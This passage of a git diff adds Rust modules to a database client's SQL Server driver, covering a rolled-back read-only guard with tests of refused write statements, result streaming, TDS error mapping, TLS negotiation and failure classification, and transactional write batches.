+} + +/// What a guarded read's failure means. A ROLLBACK or COMMIT with no +/// transaction to end, or a transaction count that changed, means the +/// statement ended the guard's transaction itself. +pub(crate) fn guarded_error(error: DriverError) -> DriverError { + match tds_number(&error) { + Some(266 | 3902 | 3903) => DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard), + _ => error, + } +} + +/// Refuse user SQL that is anything but a read, before it is sent. +pub(crate) fn refuse_writes(sql: &str) -> Result<(), DriverError> { + let refused = || DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard); + let plan = ScriptPlan::build(sql, SqlGrammar::MsSql, LexicalSettings::default_for(SqlGrammar::MsSql)); + if !plan.diagnostics().is_empty() || plan.batches().len() > 1 { + return Err(refused()); + } + for statement in plan.statements() { + let mut words = plan + .tokens(statement.range.clone()) + .filter(|token| !token.kind.is_trivia() && token.kind != ScriptTokenKind::Semicolon); + let opens_as_read = words.next().is_some_and(|token| match token.kind { + ScriptTokenKind::OpenParen => true, + ScriptTokenKind::Word => sql + .get(token.range) + .is_some_and(|word| word.eq_ignore_ascii_case("SELECT") || word.eq_ignore_ascii_case("WITH")), + _ => false, + }); + let writes = plan.tokens(statement.range.clone()).any(|token| { + token.kind == ScriptTokenKind::Word + && sql + .get(token.range) + .is_some_and(|word| WRITE_WORDS.iter().any(|write| word.eq_ignore_ascii_case(write))) + }); + if !opens_as_read || writes { + return Err(refused()); + } + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerCode, ServerDiagnostics}; + + use super::*; + + #[test] + fn wraps_statement_in_begin_rollback() { + assert_eq!( + wrap("SELECT * FROM t -- trailing"), + "BEGIN TRANSACTION;\nSELECT * FROM t -- trailing\n;\nROLLBACK TRANSACTION;" + ); + } + + #[test] + fn an_escaped_guard_is_the_client_guard() { + let tds = |number| { + DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::Tds { + number, + state: 1, + class: 16, + }), + "transaction mismatch", + )) + }; + + assert_eq!( + guarded_error(tds(3903)), + DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard) + ); + assert_eq!( + guarded_error(tds(266)), + DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard) + ); + assert!(matches!(guarded_error(tds(208)), DriverError::Server(_))); + } + + #[test] + fn only_plain_reads_pass_the_export_guard() { + for read in [ + "SELECT * FROM t", + " with c AS (SELECT 1 AS a) SELECT a FROM c;", + "SELECT [update], 'DELETE' AS word FROM t; SELECT 2", + "(SELECT 1) UNION (SELECT 2)", + ] { + assert_eq!(refuse_writes(read), Ok(()), "{read}"); + } + for write in [ + "DELETE FROM t", + "SELECT * INTO copy FROM t", + "SELECT 1; UPDATE t SET a = 1", + "EXEC sp_who", + "WITH c AS (SELECT 1 AS a) DELETE FROM c", + "SELECT 1\nGO\nSELECT 2", + "SELECT 'unterminated", + "SET NOCOUNT ON", + ] { + assert_eq!( + refuse_writes(write), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)), + "{write}" + ); + } + } +} diff --git a/linux/crates/drivers/mssql/src/standalone.rs b/linux/crates/drivers/mssql/src/standalone.rs new file mode 100644 index 0000000000..df8421961a --- /dev/null +++ b/linux/crates/drivers/mssql/src/standalone.rs @@ -0,0 +1,55 @@ +use std::sync::Arc; +use std::sync::atomic::AtomicBool; + +use tablepro_core::{CallResource, DriverError, StopRequest}; +use tokio_util::sync::CancellationToken; + +use crate::cancel::unconfirmed_stop; +use crate::endpoint::MssqlEndpoint; +use crate::physical::MssqlLink; + +/// A physical connection opened for one call and closed after it, for +/// reads that must never hold a pool slot. Dropping it closes the +/// socket, which is all a connection used once needs. +pub(crate) struct Standalone { + link: Option, + abandon: Arc, +} + +impl Standalone { + pub(crate) fn new() -> Self { + Self { + link: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Open the connection inside the call, so its deadline and cancel + /// cover the login too. + pub(crate) async fn open(&mut self, endpoint: &MssqlEndpoint, request: &StopRequest) -> Result<(), DriverError> { + let never = CancellationToken::new(); + let link = tokio::select! { + biased; + () = request.requested() => return Err(unconfirmed_stop(request)), + opened = endpoint.open_workspace(&never) => opened?, + }; + self.link = Some(link); + Ok(()) + } + + pub(crate) fn link(&mut self) -> Result<&mut MssqlLink, DriverError> { + self.link + .as_mut() + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned())) + } +} + +impl CallResource for Standalone { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.link = None; + } +} diff --git a/linux/crates/drivers/mssql/src/stream_read.rs b/linux/crates/drivers/mssql/src/stream_read.rs new file mode 100644 index 0000000000..b53d576a3f --- /dev/null +++ b/linux/crates/drivers/mssql/src/stream_read.rs @@ -0,0 +1,126 @@ +use std::sync::Arc; + +use tablepro_core::column::ResultColumn; +use tablepro_core::{ReadStatement, ResultEvent, ResultSink, SinkFlow, StreamSummary, Truncation, Value}; +use tiberius::QueryItem; + +use crate::catalog::result_column; +use crate::decode::decode_row; +use crate::encode::{as_sql, encode_params}; +use crate::in_band_request::{Interrupt, Watch}; +use crate::physical::MssqlClient; +use crate::read_only_guard::{guarded_error, refuse_writes, wrap}; + +const BATCH_ROWS: usize = 256; + +/// Every row of a read, into the sink. User SQL must be a plain read, +/// and the whole read runs inside a transaction that is rolled back, so +/// a write that slips past the check still does not land. +pub(crate) async fn stream( + client: &mut MssqlClient, + watch: &Watch, + read: &ReadStatement, + sink: &mut dyn ResultSink, +) -> Result { + let (sql, params) = match read { + ReadStatement::Generated(statement) => (statement.sql(), encode_params(statement.params())?), + ReadStatement::User(sql) => { + refuse_writes(sql.as_str())?; + (sql.as_str(), Vec::new()) + } + }; + let guarded = wrap(sql); + let refs = as_sql(¶ms); + let mut emitter = Emitter { + sink, + batch: Vec::new(), + open: false, + set_rows: 0, + rows: 0, + }; + let mut stream = watch + .start(client.query(guarded.as_str(), &refs)) + .await + .map_err(guard)?; + while let Some(item) = watch.next(&mut stream).await.map_err(guard)? { + let flow = match item { + QueryItem::Metadata(metadata) => { + let columns: Arc<[ResultColumn]> = metadata.columns().iter().map(result_column).collect(); + emitter.start(columns).await + } + QueryItem::Row(row) => emitter.row(decode_row(&row)).await, + }; + if flow == SinkFlow::ConsumerGone { + // The connection is closed after this call, which ends the + // response on the server too. + watch.spoil(); + return Ok(StreamSummary::new(emitter.rows)); + } + } + if emitter.finish().await == SinkFlow::ConsumerGone { + watch.spoil(); + } + Ok(StreamSummary::new(emitter.rows)) +} + +fn guard(interrupt: Interrupt) -> Interrupt { + match interrupt { + Interrupt::Failed(error) => Interrupt::Failed(guarded_error(error)), + other => other, + } +} + +struct Emitter<'a> { + sink: &'a mut dyn ResultSink, + batch: Vec>, + open: bool, + set_rows: u64, + rows: u64, +} + +impl Emitter<'_> { + async fn start(&mut self, columns: Arc<[ResultColumn]>) -> SinkFlow { + if self.finish().await == SinkFlow::ConsumerGone { + return SinkFlow::ConsumerGone; + } + self.open = true; + self.sink.accept(ResultEvent::ResultSetStarted { columns }).await + } + + async fn row(&mut self, values: Vec) -> SinkFlow { + self.batch.push(values); + self.set_rows += 1; + self.rows += 1; + if self.batch.len() < BATCH_ROWS { + return SinkFlow::Continue; + } + self.sink + .accept(ResultEvent::Rows(std::mem::take(&mut self.batch))) + .await + } + + /// Close the result set that is open, if one is. + async fn finish(&mut self) -> SinkFlow { + if !self.open { + return SinkFlow::Continue; + } + if !self.batch.is_empty() + && self + .sink + .accept(ResultEvent::Rows(std::mem::take(&mut self.batch))) + .await + == SinkFlow::ConsumerGone + { + return SinkFlow::ConsumerGone; + } + self.open = false; + let retained = std::mem::take(&mut self.set_rows); + self.sink + .accept(ResultEvent::ResultSetFinished { + retained, + total_rows: Some(retained), + truncation: Truncation::Complete, + }) + .await + } +} diff --git a/linux/crates/drivers/mssql/src/tds_message.rs b/linux/crates/drivers/mssql/src/tds_message.rs new file mode 100644 index 0000000000..2beb507fa3 --- /dev/null +++ b/linux/crates/drivers/mssql/src/tds_message.rs @@ -0,0 +1,46 @@ +use tablepro_core::{ServerCode, ServerDiagnostics}; +use tiberius::error::TokenError; + +/// An ERROR token as the server sent it. +/// +/// tiberius gives `TokenError` no public constructor, so the mapping is +/// written against this copy and can be tested without a server. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct TdsMessage { + pub(crate) number: u32, + pub(crate) state: u8, + pub(crate) class: u8, + pub(crate) message: String, + pub(crate) procedure: String, + pub(crate) line: u32, +} + +impl TdsMessage { + pub(crate) fn diagnostics(&self) -> ServerDiagnostics { + ServerDiagnostics { + code: Some(ServerCode::Tds { + number: self.number, + state: self.state, + class: self.class, + }), + severity: Some(self.class.to_string()), + message: self.message.clone(), + detail: (self.line > 0).then(|| format!("line {}", self.line)), + where_context: (!self.procedure.is_empty()).then(|| self.procedure.clone()), + ..ServerDiagnostics::default() + } + } +} + +impl From<&TokenError> for TdsMessage { + fn from(token: &TokenError) -> Self { + Self { + number: token.code(), + state: token.state(), + class: token.class(), + message: token.message().to_owned(), + procedure: token.procedure().to_owned(), + line: token.line(), + } + } +} diff --git a/linux/crates/drivers/mssql/src/tls_config.rs b/linux/crates/drivers/mssql/src/tls_config.rs new file mode 100644 index 0000000000..b68c5cc436 --- /dev/null +++ b/linux/crates/drivers/mssql/src/tls_config.rs @@ -0,0 +1,332 @@ +use std::path::PathBuf; + +use tablepro_core::{ConfigError, DriverError, LossPhase, TimeoutPhase, TlsConfig, TlsFailure, TlsMode}; +use tiberius::error::{Error, IoErrorKind}; +use tiberius::{Config, EncryptionLevel}; + +use crate::errors::map_error; + +/// What tiberius says when the server will not encrypt and the client +/// asked it to. +const ENCRYPTION_REFUSED: &str = "does not allow the requested encryption level"; + +/// rustls failures as their text reaches us through tiberius, which +/// keeps only the message. The first match wins, so a specific phrase +/// comes before a general one. +const RUSTLS_TEXT: &[(&str, TlsFailure)] = &[ + ("UnknownIssuer", TlsFailure::UnknownIssuer), + ("NotValidForName", TlsFailure::NameMismatch), + ("not valid for name", TlsFailure::NameMismatch), + ("NotValidYet", TlsFailure::NotYetValid), + ("not valid yet", TlsFailure::NotYetValid), + ("certificate expired", TlsFailure::Expired), + ("Expired", TlsFailure::Expired), + ("Revoked", TlsFailure::Revoked), + ("received fatal alert", TlsFailure::HandshakeRejected), + ("AlertReceived", TlsFailure::HandshakeRejected), + ("peer is incompatible", TlsFailure::HandshakeRejected), + // tokio-rustls, when the server closes the socket mid-handshake. With + // Disable, tiberius starts that handshake only because the server + // demanded encryption, and the server then hangs up on a client that + // said it has none. + ("tls handshake eof", TlsFailure::HandshakeRejected), + ("invalid peer certificate", TlsFailure::Other), + ("CA certificates", TlsFailure::Other), + ("platform certificates", TlsFailure::Other), +]; + +/// How every login to one target negotiates TLS. +/// +/// tiberius takes no rustls `ClientConfig`, so trust is what its own +/// settings express: the system roots plus the CA file for full +/// verification, and no verification for Require. A verifier that +/// records what it saw cannot be installed either, so a failure is +/// told apart by the text rustls gave it, which is coarser than the +/// other engines' classification. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct TlsPlan { + mode: TlsMode, + ca_file: Option, + server_name: Option, +} + +impl TlsPlan { + pub(crate) fn new(tls: &TlsConfig) -> Result { + if tls.client_identity.is_some() { + return Err(DriverError::Config(ConfigError::ClientIdentityUnsupported)); + } + // tiberius reads the CA file during the handshake and reports a + // bad one as an I/O error, so it is checked here, where the + // problem can still be named. + tablepro_net::tls::check_pem_files(tls)?; + Ok(Self { + mode: tls.mode, + ca_file: tls.ca_file.clone(), + server_name: tls.server_name.clone(), + }) + } + + pub(crate) fn apply(&self, config: &mut Config) { + match self.mode { + TlsMode::Disable => config.encryption(EncryptionLevel::NotSupported), + TlsMode::Require => { + config.encryption(EncryptionLevel::Required); + config.trust_cert(); + } + TlsMode::VerifyFull => { + config.encryption(EncryptionLevel::Required); + // Added to the system roots, not in place of them. + if let Some(ca_file) = &self.ca_file { + config.trust_cert_ca(ca_file.to_string_lossy()); + } + if let Some(server_name) = &self.server_name { + config.hostname_in_certificate(server_name); + } + } + } + } + + /// What a failed login means, given what was asked of TLS. + pub(crate) fn login_error(&self, error: Error) -> DriverError { + match error { + Error::Tls(detail) => DriverError::Tls { + failure: self.handshake_failure(tls_failure(&detail)), + detail, + }, + Error::Protocol(text) if text.contains(ENCRYPTION_REFUSED) => DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + detail: text.into_owned(), + }, + Error::Io { + kind: IoErrorKind::TimedOut, + .. + } => DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }, + Error::Io { message, .. } => match recognise(&message) { + Some(failure) => DriverError::Tls { + failure: self.handshake_failure(failure), + detail: message, + }, + None => DriverError::ConnectionLost { + during: LossPhase::Connect, + }, + }, + other => map_error(other), + } + } + + /// A handshake on a connection that asked for no TLS at all can only + /// be the server insisting on it. + fn handshake_failure(&self, failure: TlsFailure) -> TlsFailure { + match self.mode { + TlsMode::Disable => TlsFailure::ServerRequiresTls, + TlsMode::Require | TlsMode::VerifyFull => failure, + } + } +} + +/// The failure a rustls message names, `Other` when it names none. +pub(crate) fn tls_failure(text: &str) -> TlsFailure { + recognise(text).unwrap_or(TlsFailure::Other) +} + +fn recognise(text: &str) -> Option { + RUSTLS_TEXT + .iter() + .find(|(phrase, _)| text.contains(phrase)) + .map(|(_, failure)| *failure) +} + +#[cfg(test)] +mod tests { + use tablepro_core::ErrorCategory; + + use super::*; + + fn plan(mode: TlsMode) -> TlsPlan { + TlsPlan { + mode, + ca_file: None, + server_name: None, + } + } + + #[test] + fn tls_text_classification_table() { + let rejected = "the server's certificate was rejected during the TLS handshake: "; + let cases = [ + (format!("{rejected}UnknownIssuer."), TlsFailure::UnknownIssuer), + ( + format!( + "{rejected}certificate not valid for name \"wrong.tablepro.test\"; certificate is only valid for DnsName(\"localhost\")." + ), + TlsFailure::NameMismatch, + ), + ( + "invalid peer certificate: NotValidForName".to_owned(), + TlsFailure::NameMismatch, + ), + ( + format!( + "{rejected}certificate expired: verification time 1 (UNIX), but certificate is not valid after 0" + ), + TlsFailure::Expired, + ), + ( + format!("{rejected}certificate not valid yet: verification time 0 (UNIX)"), + TlsFailure::NotYetValid, + ), + (format!("{rejected}Revoked."), TlsFailure::Revoked), + ( + "received fatal alert: HandshakeFailure".to_owned(), + TlsFailure::HandshakeRejected, + ), + ( + format!("{rejected}Other(OtherError(UnsupportedCertVersion))."), + TlsFailure::Other, + ), + ("something nobody expected".to_owned(), TlsFailure::Other), + ]; + for (text, expected) in cases { + assert_eq!(tls_failure(&text), expected, "{text}"); + } + } + + #[test] + fn disable_against_forced_encryption_requires_tls() { + let error = + plan(TlsMode::Disable).login_error(Error::Tls("invalid peer certificate: UnknownIssuer".to_owned())); + + assert!(matches!( + error, + DriverError::Tls { + failure: TlsFailure::ServerRequiresTls, + .. + } + )); + assert_eq!(error.category(), ErrorCategory::Tls); + } + + #[test] + fn disable_against_a_server_that_hangs_up_mid_handshake_requires_tls() { + let eof = || Error::Io { + kind: IoErrorKind::UnexpectedEof, + message: "tls handshake eof".to_owned(), + }; + + assert!(matches!( + plan(TlsMode::Disable).login_error(eof()), + DriverError::Tls { + failure: TlsFailure::ServerRequiresTls, + .. + } + )); + assert!(matches!( + plan(TlsMode::Require).login_error(eof()), + DriverError::Tls { + failure: TlsFailure::HandshakeRejected, + .. + } + )); + } + + #[test] + fn a_server_that_declines_encryption_refused_tls() { + let error = plan(TlsMode::Require).login_error(Error::Protocol( + "Server does not allow the requested encryption level.".into(), + )); + + assert!(matches!( + error, + DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + .. + } + )); + } + + #[test] + fn login_io_failures_are_told_apart() { + let verify = plan(TlsMode::VerifyFull); + let timed_out = verify.login_error(Error::Io { + kind: IoErrorKind::TimedOut, + message: "handshake timed out".to_owned(), + }); + let alert = verify.login_error(Error::Io { + kind: IoErrorKind::InvalidData, + message: "received fatal alert: HandshakeFailure".to_owned(), + }); + let reset = verify.login_error(Error::Io { + kind: IoErrorKind::ConnectionReset, + message: "connection reset by peer".to_owned(), + }); + + assert!(matches!( + timed_out, + DriverError::Timeout { + phase: TimeoutPhase::Login, + .. + } + )); + assert!(matches!( + alert, + DriverError::Tls { + failure: TlsFailure::HandshakeRejected, + .. + } + )); + assert_eq!( + reset, + DriverError::ConnectionLost { + during: LossPhase::Connect + } + ); + } + + #[test] + fn verify_full_adds_the_ca_and_the_name_and_require_trusts_anything() { + let verify = TlsPlan { + mode: TlsMode::VerifyFull, + ca_file: Some(PathBuf::from("/etc/tablepro/ca.pem")), + server_name: Some("db.tablepro.test".to_owned()), + }; + let mut config = Config::new(); + verify.apply(&mut config); + let described = format!("{config:?}"); + + assert!(described.contains("encryption: Required"), "{described}"); + assert!(described.contains("/etc/tablepro/ca.pem"), "{described}"); + assert!(described.contains("bypass: false"), "{described}"); + assert!( + described.contains("hostname_in_certificate: Some(\"db.tablepro.test\")"), + "{described}" + ); + + let mut config = Config::new(); + plan(TlsMode::Require).apply(&mut config); + let described = format!("{config:?}"); + assert!(described.contains("bypass: true"), "{described}"); + + let mut config = Config::new(); + plan(TlsMode::Disable).apply(&mut config); + assert!(format!("{config:?}").contains("encryption: NotSupported")); + } + + #[test] + fn a_client_certificate_is_refused_before_anything_is_sent() { + let tls = TlsConfig { + client_identity: Some(tablepro_core::ClientIdentity { + certificate: PathBuf::from("/tls/client.pem"), + key: PathBuf::from("/tls/client.key"), + }), + ..TlsConfig::verify_full() + }; + + assert_eq!( + TlsPlan::new(&tls), + Err(DriverError::Config(ConfigError::ClientIdentityUnsupported)) + ); + } +} diff --git a/linux/crates/drivers/mssql/src/transport_io.rs b/linux/crates/drivers/mssql/src/transport_io.rs new file mode 100644 index 0000000000..07e768484e --- /dev/null +++ b/linux/crates/drivers/mssql/src/transport_io.rs @@ -0,0 +1,105 @@ +use std::io; +use std::pin::Pin; +use std::sync::Arc; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::task::{Context, Poll}; + +use tablepro_core::TransportStream; +use tokio::io::{AsyncRead, AsyncWrite, ReadBuf}; + +/// How many bytes the server has sent on one connection. +/// +/// tiberius decodes tokens straight off its read buffer, so a request +/// dropped while it waits may have consumed half a token. A response +/// that has not sent a single byte cannot have, and this count is how +/// the driver tells the two apart. +#[derive(Debug, Clone, Default)] +pub(crate) struct ReadTally(Arc); + +impl ReadTally { + pub(crate) fn new() -> Self { + Self::default() + } + + pub(crate) fn bytes(&self) -> u64 { + self.0.load(Ordering::SeqCst) + } + + fn add(&self, bytes: usize) { + let bytes = u64::try_from(bytes).unwrap_or(u64::MAX); + self.0.fetch_add(bytes, Ordering::SeqCst); + } +} + +/// A transport stream under a concrete type, counting what it reads. +pub(crate) struct TransportIo { + stream: Box, + tally: ReadTally, +} + +impl TransportIo { + pub(crate) fn new(stream: Box, tally: ReadTally) -> Self { + Self { stream, tally } + } +} + +impl AsyncRead for TransportIo { + fn poll_read(self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &mut ReadBuf<'_>) -> Poll> { + let this = self.get_mut(); + let before = buf.filled().len(); + let polled = Pin::new(&mut *this.stream).poll_read(cx, buf); + if let Poll::Ready(Ok(())) = &polled { + this.tally.add(buf.filled().len().saturating_sub(before)); + } + polled + } +} + +impl AsyncWrite for TransportIo { + fn poll_write(self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &[u8]) -> Poll> { + Pin::new(&mut *self.get_mut().stream).poll_write(cx, buf) + } + + fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.get_mut().stream).poll_flush(cx) + } + + fn poll_shutdown(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.get_mut().stream).poll_shutdown(cx) + } + + fn poll_write_vectored( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[io::IoSlice<'_>], + ) -> Poll> { + Pin::new(&mut *self.get_mut().stream).poll_write_vectored(cx, bufs) + } + + fn is_write_vectored(&self) -> bool { + self.stream.is_write_vectored() + } +} + +#[cfg(test)] +mod tests { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + + use super::*; + + #[tokio::test] + async fn reads_are_counted_and_writes_are_not() { + let (client, mut server) = tokio::io::duplex(64); + let tally = ReadTally::new(); + let mut io = TransportIo::new(Box::new(client), tally.clone()); + + io.write_all(b"request").await.unwrap(); + assert_eq!(tally.bytes(), 0); + server.write_all(b"answer").await.unwrap(); + let mut buffer = [0u8; 6]; + io.read_exact(&mut buffer).await.unwrap(); + + assert_eq!(&buffer, b"answer"); + assert_eq!(tally.bytes(), 6); + } +} diff --git a/linux/crates/drivers/mssql/src/workspace_call.rs b/linux/crates/drivers/mssql/src/workspace_call.rs new file mode 100644 index 0000000000..6396a942b6 --- /dev/null +++ b/linux/crates/drivers/mssql/src/workspace_call.rs @@ -0,0 +1,182 @@ +use std::future::Future; +use std::pin::Pin; + +use tablepro_core::column::ResultColumn; +use tablepro_core::statement::Statement; +use tablepro_core::{DriverError, QueryResult, RowLimit, Value}; +use tiberius::{ColumnData, QueryItem}; + +use crate::catalog::result_column; +use crate::decode::decode_row; +use crate::encode::{as_sql, encode_params}; +use crate::in_band_request::{Interrupt, Watch, cut_short}; +use crate::physical::MssqlClient; +use crate::read_only_guard::{guarded_error, wrap}; + +pub(crate) type BoxFuture<'a, T> = Pin + Send + 'a>>; + +/// What one workspace read does once it holds a connection. +pub(crate) type ReadOp = + Box FnOnce(&'a mut MssqlClient, &'a Watch) -> BoxFuture<'a, Result> + Send>; + +pub(crate) fn read_op(op: F) -> ReadOp +where + F: for<'a> FnOnce(&'a mut MssqlClient, &'a Watch) -> BoxFuture<'a, Result> + Send + 'static, +{ + Box::new(op) +} + +/// Whether a generated read runs inside the read-only guard. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Guard { + None, + RolledBack, +} + +impl Guard { + pub(crate) fn for_connection(read_only: bool) -> Self { + match read_only { + true => Self::RolledBack, + false => Self::None, + } + } + + fn sql(self, sql: &str) -> String { + match self { + Self::None => sql.to_owned(), + Self::RolledBack => wrap(sql), + } + } + + fn error(self, interrupt: Interrupt) -> Interrupt { + match (self, interrupt) { + (Self::RolledBack, Interrupt::Failed(error)) => Interrupt::Failed(guarded_error(error)), + (_, other) => other, + } + } +} + +/// Read at most `limit` rows of a generated statement, and one more to +/// learn whether the result was cut short. Only the first result set is +/// kept; a statement that stacks more is read to its end, so the guard's +/// own ROLLBACK runs. +pub(crate) fn query_bound_op(statement: Statement, limit: RowLimit, guard: Guard) -> ReadOp { + read_op(move |client, watch| { + Box::pin(async move { + let params = encode_params(statement.params())?; + let sql = guard.sql(statement.sql()); + let read = first_result(client, watch, &sql, ¶ms, limit).await; + let (columns, rows, truncated) = read.map_err(|interrupt| guard.error(interrupt))?; + if truncated { + cut_short(client, watch, true).await; + } + Ok(QueryResult::new(columns, rows).truncated(truncated)) + }) + }) +} + +/// The single number a count query returned. +pub(crate) fn count_op(statement: Statement, guard: Guard) -> ReadOp { + read_op(move |client, watch| { + Box::pin(async move { + let params = encode_params(statement.params())?; + let sql = guard.sql(statement.sql()); + let one = RowLimit::new(1).unwrap_or(RowLimit::EDITOR_DEFAULT); + let (_, rows, truncated) = first_result(client, watch, &sql, ¶ms, one) + .await + .map_err(|interrupt| guard.error(interrupt))?; + if truncated { + cut_short(client, watch, true).await; + } + exact_count(&rows).map_err(Interrupt::Failed) + }) + }) +} + +pub(crate) fn exact_count(rows: &[Vec]) -> Result { + match rows.first().and_then(|row| row.first()) { + Some(value) => value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the count returned {value:?}"))), + None => Err(DriverError::Protocol("the count returned no row".to_owned())), + } +} + +type FirstResult = (Vec, Vec>, bool); + +/// The first result set's columns and up to `limit` of its rows, and +/// whether a row past the limit was there. +async fn first_result( + client: &mut MssqlClient, + watch: &Watch, + sql: &str, + params: &[ColumnData<'static>], + limit: RowLimit, +) -> Result { + let refs = as_sql(params); + let mut stream = watch.start(client.query(sql, &refs)).await?; + let mut columns: Option> = None; + let mut rows = Vec::new(); + let mut sets = 0usize; + while let Some(item) = watch.next(&mut stream).await? { + match item { + QueryItem::Metadata(metadata) => { + sets += 1; + if columns.is_none() { + columns = Some(metadata.columns().iter().map(result_column).collect()); + } + } + QueryItem::Row(row) if sets <= 1 => { + if u64::try_from(rows.len()).is_ok_and(|kept| kept >= limit.get()) { + return Ok((columns.unwrap_or_default(), rows, true)); + } + rows.push(decode_row(&row)); + } + QueryItem::Row(_) => {} + } + } + Ok((columns.unwrap_or_default(), rows, false)) +} + +/// Every row of a driver-owned catalogue query. +pub(crate) async fn catalogue_rows( + client: &mut MssqlClient, + watch: &Watch, + sql: &str, + params: &[ColumnData<'static>], +) -> Result>, Interrupt> { + let refs = as_sql(params); + let mut stream = watch.start(client.query(sql, &refs)).await?; + let mut rows = Vec::new(); + while let Some(item) = watch.next(&mut stream).await? { + if let QueryItem::Row(row) = item { + rows.push(decode_row(&row)); + } + } + Ok(rows) +} + +/// A text parameter for a catalogue query. +pub(crate) fn text_param(text: &str) -> ColumnData<'static> { + ColumnData::String(Some(text.to_owned().into())) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_count_must_be_one_exact_number() { + assert_eq!(exact_count(&[vec![Value::Int(42)]]), Ok(42)); + assert!(exact_count(&[]).is_err()); + assert!(exact_count(&[vec![Value::Int(-1)]]).is_err()); + assert!(exact_count(&[vec![Value::Text("42".to_owned())]]).is_err()); + } + + #[test] + fn a_read_only_connection_guards_its_reads() { + assert_eq!(Guard::for_connection(true), Guard::RolledBack); + assert_eq!(Guard::RolledBack.sql("SELECT 1"), wrap("SELECT 1")); + assert_eq!(Guard::for_connection(false).sql("SELECT 1"), "SELECT 1"); + } +} diff --git a/linux/crates/drivers/mssql/src/write_batch.rs b/linux/crates/drivers/mssql/src/write_batch.rs new file mode 100644 index 0000000000..a499b936e1 --- /dev/null +++ b/linux/crates/drivers/mssql/src/write_batch.rs @@ -0,0 +1,273 @@ +use std::sync::Arc; + +use tablepro_core::statement::{RowGuard, Statement}; +use tablepro_core::{DriverError, ReadOnlyRefusal, SessionFate, StopRequest, WriteBatch, WriteLedger, WriteReport}; +use tiberius::Command; +use tokio::time::Instant; + +use crate::cancel::{MssqlStop, StopProgress, acknowledged_stop, unconfirmed_stop}; +use crate::encode::{as_sql, encode_params}; +use crate::errors::{ends_connection, map_error}; +use crate::in_band_request::{Answer, Halt, Interrupt, StopPolicy, Watch, attention, roll_back_open}; +use crate::mssql_pooled::MssqlPooled; +use crate::physical::MssqlClient; +use crate::workspace_call::{catalogue_rows, exact_count}; + +/// Refuse a batch before anything is sent: a read-only connection never +/// writes, and SQL Server cannot suspend foreign keys for one batch. +pub(crate) fn precheck(batch: &WriteBatch, read_only: bool) -> Result<(), DriverError> { + if read_only { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + batch.foreign_keys.require_enforced() +} + +/// Everything one write needs once its task holds a connection. +pub(crate) struct WritePlan { + pub(crate) batch: WriteBatch, + pub(crate) ledger: Arc, + pub(crate) policy: StopPolicy, +} + +/// Run the batch in one transaction, recording each step in the ledger +/// so a lost connection reports what is really in the database. +pub(crate) async fn perform( + pooled: &mut MssqlPooled, + plan: &WritePlan, + request: &StopRequest, + stop: &MssqlStop, +) -> Result { + let link = pooled.link()?; + let watch = Watch::new(request.clone(), link.tally(), plan.policy); + let mut write = Write { + client: &mut link.client, + watch: &watch, + stop, + ledger: &plan.ledger, + clean: true, + }; + let outcome = write.run(&plan.batch).await; + if !write.clean || watch.spoiled() { + pooled.taint(); + } + outcome +} + +struct Write<'a> { + client: &'a mut MssqlClient, + watch: &'a Watch, + stop: &'a MssqlStop, + ledger: &'a WriteLedger, + clean: bool, +} + +impl Write<'_> { + async fn run(&mut self, batch: &WriteBatch) -> Result { + if let Err(interrupt) = self.batch("BEGIN TRANSACTION").await { + return Err(self.failed(0, interrupt).await); + } + let mut report = Vec::with_capacity(batch.steps.len()); + for (index, step) in batch.steps.iter().enumerate() { + if let Some((probe, expected)) = step.guard.probe() { + match self.count(probe).await { + Ok(actual) if actual == expected => {} + Ok(actual) => { + let fate = self.roll_back().await; + return Err(self.ledger.guard_failed(index, expected, actual, fate)); + } + Err(interrupt) => return Err(self.failed(index, interrupt).await), + } + } + self.ledger.statement_sending(index); + let affected = match self.execute(&step.statement).await { + Ok(affected) => affected, + Err(interrupt) => return Err(self.failed(index, interrupt).await), + }; + self.ledger.statement_confirmed(index); + if let RowGuard::AffectedExactly(expected) = step.guard + && affected != expected + { + let fate = self.roll_back().await; + return Err(self.ledger.guard_failed(index, expected, affected, fate)); + } + report.push(Some(affected)); + } + self.commit(batch.steps.len()).await?; + Ok(WriteReport::new(report)) + } + + async fn batch(&mut self, sql: &str) -> Result<(), Interrupt> { + let client = &mut *self.client; + let running = async move { + let stream = client.simple_query(sql).await?; + stream.into_results().await.map(|_| ()) + }; + self.watch.finish(running).await + } + + async fn count(&mut self, probe: &Statement) -> Result { + let params = encode_params(probe.params())?; + let rows = catalogue_rows(self.client, self.watch, probe.sql(), ¶ms).await?; + exact_count(&rows).map_err(Interrupt::Failed) + } + + /// The rows the statement reported. The count includes rows a + /// trigger touched, which is why a SQL Server save proves itself with + /// a probe rather than with this number. + async fn execute(&mut self, statement: &Statement) -> Result { + let params = encode_params(statement.params())?; + if params.is_empty() { + return self.execute_unparameterised(statement.sql()).await; + } + let refs = as_sql(¶ms); + let executed = self.watch.finish(self.client.execute(statement.sql(), &refs)).await?; + Ok(executed.total()) + } + + /// sp_executesql with its statement alone. tiberius's `execute` always + /// passes 